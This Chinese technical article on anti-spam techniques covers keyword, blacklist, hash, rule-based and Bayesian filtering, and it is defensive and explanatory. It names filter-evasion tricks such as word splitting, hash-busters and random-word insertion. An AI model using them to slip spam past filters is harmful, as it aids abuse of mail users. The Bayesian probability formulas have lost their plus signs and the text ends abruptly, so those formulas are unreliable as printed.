    垃圾邮件占用了大量网络资源，这是显而易见的。一些邮件服务器因为安全性差，被作为垃圾邮件转发站为被警告、封IP等事件时有发生，大量消耗的网络资源使得正常的业务运作变得缓慢。随着国际上反垃圾邮件的发展，组织间黑名单共享，使得无辜服务器被更大范围屏蔽，这无疑会给正常用户的使用造成严重问题。

    垃圾邮件和黑客攻击、病毒等结合也越来越密切，比如，SoBig蠕虫就安装开放的，可以用来支持邮件转发的代理。随着垃圾邮件的演变，用恶意代码或者监视软件等来支持垃圾邮件已经明显地增加了。2003年12月31，巴西的一个黑客组织发送包含恶意javascript脚本的垃圾邮件给数百万用户，那些通过Hotmail来浏览这些垃圾邮件的人们在不知不觉中已经泄露了他们的账号。另外一个例子就是，近来IE的URL显示问题，在主机名前添加"
"可以隐藏真实的主机地址，在被发布之后几个星期内就出现在垃圾邮件中了。

越来越具有欺骗性的病毒邮件，让很多企业深受其害，即便采取了很好的网络保护策略，依然很难避免，越来越多的安全事件都是因为邮件产生的，可能是病毒、木马或者其他恶意程序。Phishing的假冒诡计对于普通使用者来说，的确很难作出正确的判断，但是造成的损失却是很直接的。



2、反垃圾邮件技术



    已经存在的和在被提及的反垃圾邮件方法试图来减少垃圾邮件问题和处理安全需求。通过正确的识别垃圾邮件，邮件病毒或者邮件攻击程序等都会减少。这些解决方法采取多种安全途径来努力阻止垃圾邮件。

Dr. Neal Krawetz在Anti-Spam Solutions and Security[ref 1]文中将反垃圾邮件技术作了非常好的分类。当前的反垃圾邮件技术可以分为4大类：过滤器（Filter）、反向查询(Reverse lookup)、挑战(challenges)和密码术(cryptography),这些解决办法都可以减少垃圾邮件问题，但是都有它们的局限性。本文将在下面的内容讨论这些技术以及一些主要技术的实现。



2.1、过滤

    过滤（Filter）是一种相对来说最简单却很直接的处理垃圾邮件技术。这种技术主要用于接收系统（MUA，如OUTLOOK EXPRESS或者MTA，如sendmail）来辨别和处理垃圾邮件。从应用情况来看，这种技术也是使用最广泛的，比如很多邮件服务器上的反垃圾邮件插件、反垃圾邮件网关、客户端上的反垃圾邮件功能等，都是采用的过滤技术。



2.1.1、关键词过滤

    关键词过滤技术通常创建一些简单或复杂的与垃圾邮件关联的单词表来识别和处理垃圾邮件。比如某些关键词大量出现在垃圾邮件中，如一些病毒的邮件标题，比如：test。这种方式比较类似反病毒软件利用的病毒特征一样。可以说这是一种简单的内容过滤方式来处理垃圾邮件，它的基础是必须创建一个庞大的过滤关键词列表。

    这种技术缺陷很明显，过滤的能力同关键词有明显联系，关键词列表也会造成错报可能比较大，当然系统采用这种技术来处理邮件的时候消耗的系统资源会比较多。并且，一般躲避关键词的技术比如拆词，组词就很容易绕过过滤。



2.1.2、黑白名单

    黑名单（Black List）和白名单（White List）。分别是已知的垃圾邮件发送者或可信任的发送者IP地址或者邮件地址。现在有很多组织都在做*bl（block list），将那些经常发送垃圾邮件的IP地址（甚至IP地址范围）收集在一起，做成block list，比如spamhaus的SBL（Spamhaus Block List），一个BL，可以在很大范围内共享。许多ISP正在采用一些组织的BL来阻止接收垃圾邮件。白名单则与黑名单相反，对于那些信任的邮件地址或者IP就完全接受了。

    目前很多邮件接收端都采用了黑白名单的方式来处理垃圾邮件，包括MUA和MTA，当然在MTA中使用得更广泛，这样可以有效地减少服务器的负担。



    BL技术也有明显的缺陷，因为不能在block list中包含所有的（即便是大量）的IP地址，而且垃圾邮件发送者很容易通过不同的IP地址来制造垃圾。



2.1.3    HASH技术

    HASH技术是邮件系统通过创建HASH来描述邮件内容，比如将邮件的内容、发件人等作为参数，最后计算得出这个邮件的HASH来描述这个邮件。如果HASH相同，那么说明邮件内容、发件人等相同。这在一些ISP上在采用，如果出现重复的HASH值，那么就可以怀疑是大批量发送邮件了。



2.1.4    基于规则的过滤

    这种过滤根据某些特征（比如单词、词组、位置、大小、附件等）来形成规则，通过这些规则来描述垃圾邮件，就好比IDS中描述一条入侵事件一样。要使得过滤器有效，就意味着管理人员要维护一个庞大的规则库。



2.1.5    智能和概率系统

    广泛使用的就是贝叶斯(Bayesian)算法，可以学习单词的频率和模式，这样可以同垃圾邮件和正常邮件关联起来进行判断。这是一种相对于关键字来说，更复杂和更智能化的内容过滤技术。我将在下面详细描述这种在客户端和服务器中使用最广泛的技术。



2.1.5.1    Bayesian 贝叶斯算法

    在过滤器中，现在表现最好的应该是基于评分(score)的过滤器，因为我们很容易就可以明白对付狡猾的垃圾邮件，那些黑白名单、关键词库或者HASH等过滤器是多么的简单。评分系统过滤器是一种最基本的算法过滤器，也是贝叶斯算法的基本雏形。它的原理就是检查垃圾邮件中的词或字符等，将每个特征元素（最简单的元素就是单词，复杂点的元素就是短语）都给出一个分数（正分数），另一方面就是检查正常邮件的特征元素，用来降低得分的（负分数）。最后邮件整体就得到一个垃圾邮件总分，通过这个分数来判断是否spam。



    这种评分过滤器尽量实现了自动识别垃圾邮件的功能，但是依然存在一些不适应的问题：

    *特征元素列表通过垃圾邮件或者正常邮件获得。因此，要提高识别垃圾邮件的效果，就要从数百邮件中来学习，这降低了过滤器效率，因为对于不同人来说，正常邮件的特征元素是不一样的。

    *获得特征元素分析的邮件数量多少是一个关键。如果垃圾邮件发送者也适应了这些特征，就可能让垃圾邮件更象正常邮件。这样的话，过滤特征就要更改了。

    *每个词计算的分数应该基于一种很好的评价，但是还是有随意性。比如，特征就可能不会适应垃圾邮件的单词变化，也不会适应某个用户的需要。



    贝叶斯理论现在在计算机行业中应用相当广泛，这是一种对事物的不确定性描述，比如google计算中就采用了贝叶斯理论。贝叶斯算法的过滤器就是计算邮件内容中成为垃圾邮件的概率，它要首先从许多垃圾邮件和正常邮件中进行学习，因此，效果将比普通的内容过滤器更优秀，错报就会更少。贝叶斯过滤器也是一种基于评分的过滤器。但不仅仅是一种简单的计算分数，而更从根本上来识别。它采用自动建立特征表的方式，原理上，首先分析大量的垃圾邮件和大量的正常邮件，算法分析邮件中多种特征出现概率。



    贝叶斯算法计算特征的来源通常是：

·邮件正文中的单词

·邮件头（发送者、传递路径等）

·其他表现，比如HTML编码（如颜色等）

·词组、短语

·meta信息，比如特殊短语出现位置等



   比如，正常邮件中经常出现单词AAA，但是基本不在垃圾邮件中出现，那么，AAA标示垃圾邮件的概率就接近0，反之则然。



贝叶斯算法的步骤为：

1. 收集大量的垃圾邮件和非垃圾邮件，建立垃圾邮件集和非垃圾邮件集。  

2. 提取特征来源中的独立字符串，例如 AAA等作为TOKEN串并统计提取出的TOKEN串出现的次数即字频。按照上述的方法分别处理垃圾邮件集和非垃圾邮件集中的所有邮件。  

3. 每一个邮件集对应一个哈希表，hashtable_good对应非垃圾邮件集而hashtable_bad对应垃圾邮件集。表中存储TOKEN串到字频的映射关系。  

4. 计算每个哈希表中TOKEN串出现的概率P=(某TOKEN串的字频)/(对应哈希表的长度)

5. 综合考虑hashtable_good和hashtable_bad，推断出当新来的邮件中出现某个TOKEN串时，该新邮件为垃圾邮件的概率。数学表达式为：  

　　A 事件 ---- 邮件为垃圾邮件；  

　　t1,t2 …….tn 代表 TOKEN 串  

　　则 P(A|ti)表示在邮件中出现 TOKEN 串 ti 时，该邮件为垃圾邮件的概率。设

　　P1(ti)=ti 在 hashtable_good 中的值

　　P2(ti)=ti 在 hashtable_ bad 中的值

　　则 P(A|ti)=P2(ti)/[(P1(ti) P2(ti)] ；  

6. 建立新的哈希表hashtable_probability存储TOKEN串ti到P(A|ti)的映射  

7.根据建立的哈希表 hashtable_probability可以估计一封新到的邮件为垃圾邮件的可能性。  

    当新到一封邮件时，按照步骤2，生成TOKEN串。查询hashtable_probability得到该TOKEN 串的键值。假设由该邮件共得到N个TOKEN 串，t1,t2…….tn,hashtable_probability中对应的值为 P1 ，P2 ，……PN ，P(A|t1 ,t2, t3……tn) 表示在邮件中同时出现多个TOKEN串t1,t2……tn时，该邮件为垃圾邮件的概率。  

    由复合概率公式可得:

P(A|t1 ,t2, t3……tn)=（P1*P2*……PN）/[P1*P2*……PN （1-P1）*（1-P2）*……（1-PN）]  

当 P(A|t1 ,t2, t3……tn) 超过预定阈值时，就可以判断邮件为垃圾邮件。



    当新邮件到达的时候，就通过贝叶斯过滤器分析，通过使用各个特征来计算邮件是spam的概率。通过不断的分析，过滤器也不断地获得自更新。比如，通过各种特征判断一个包含单词AAA的邮件是spam，那么单词AAA成为垃圾邮件特征的概率就增加了。



    这样，贝叶斯过滤器就有了自适应能力，既能自动进行，也可以用户手工操作，也就更能适应单个用户的使用。而垃圾邮件发送者要获得这样的适应能力就很难了，因此，更难逃避过滤器的过滤，但他们当然还是能够将邮件伪装成很普遍的正常邮件的样子。除非垃圾邮件发送者能去对某个人的过滤器进行判断，比如，采用发送回执的办法来了解哪些邮件被用户打开了等，这样他们就可以适应过滤器了。

虽然贝叶斯过滤器还存在有评分过滤器的缺陷，但是它更优化了。实践也证明，贝叶斯过滤器在客户端和服务器中效果是非常明显的，优秀的贝叶斯过滤器能够识别超过99.9%的垃圾邮件。大多数目前应用的反垃圾邮件产品都采用了这样的技术。比如Foxmail中的贝叶斯过滤。



2.1.6    局限性和缺点

    现行的很多采用过滤器技术的反垃圾邮件产品通常都采用了多种过滤器技术，以便使产品更为有效。过滤器通过他们的误报和漏报来分等级。漏报就是指垃圾邮件绕过了过滤器的过滤。而误报则是将正常的邮件判断为了垃圾邮件。完美的过滤器系统应该是不存在漏报和误报的，但是这是理想情况。



    一些基于过滤器原理的反垃圾邮件系统通常有下面的三种局限性：

    ·可能被绕过。垃圾邮件发送者和他们用的发送工具也不是静态的，他们也会很快适应过滤器。比如，针对关键字列表，他们可以随机更改一些单词的拼写，比如("强悍", "弓虽悍", "强-悍").Hash-buster（在每个邮件中产生不同的HASH）就是来绕过hash过滤器的。当前普遍使用的贝叶斯过滤器可以通过插入随机单词或句子来绕过。多数过滤器都最多只能在少数几周才最有效，为了保持反垃圾邮件系统的实用性，过滤器规则就必须不断更新，比如每天或者每周更新。&